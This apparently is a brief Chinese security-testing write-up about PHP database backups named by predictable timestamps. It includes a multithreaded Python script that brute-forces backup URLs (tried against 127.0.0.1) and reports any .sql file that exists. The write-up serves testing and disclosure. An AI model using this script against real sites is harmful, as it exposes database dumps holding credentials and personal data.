某次测试过程中,发现PHP备份功能代码如下:
// 根据时间生成备份文件名 $file_name = 'D' . date('Ymd') . 'T' . date('His'); $sql_file_name = $file_name . '.sql';
那么形成的文件名格式如:D20180118T101433.sql,理论上是可以爆破的,于是写了一段Python脚本来尝试爆破。
Python测试脚本:
简单描述:设置一个开始的时间戳,然后遍历时间戳到当前时间点,得到一个列表,保存的时间格式为“20180110 000637”,然后带入请求,进行暴力猜解URL是否存在,如果存在就输出。
#! /usr/bin/env python # _*_ coding:utf-8 _*_ import time import requests import threadpool date= "2018-01-18 10:00:00" //开始时间 datelist=[] def gettime(): timeArray = time.strptime(date,"%Y-%m-%d %H:%M:%S") time1= int(time.mktime(timeArray)) time2=int(time.time()) for i in range(time1,time2): time3= time.strftime('%Y%m%d %H%M%S', time.localtime(i)) datelist.append(time3) return datelist def req(str): try: str1,str2=str.split() date1="D"+str1+"T"+str2 url="http://127.0.0.1/data/backup/"+date1+".sql" s=requests.get(url,timeout=5) if s.status_code==200: print u"数据库备份文件爆破成功:" print url except: pass if __name__ == '__main__': list=gettime() pool = threadpool.ThreadPool(1000) requ = threadpool.makeRequests(req,list) [pool.putRequest(req) for req in requ] pool.wait()
Python 测试截图:
参考链接:
python时间,日期,时间戳处理 http://blog.csdn.net/xiaobing_blog/article/details/12591917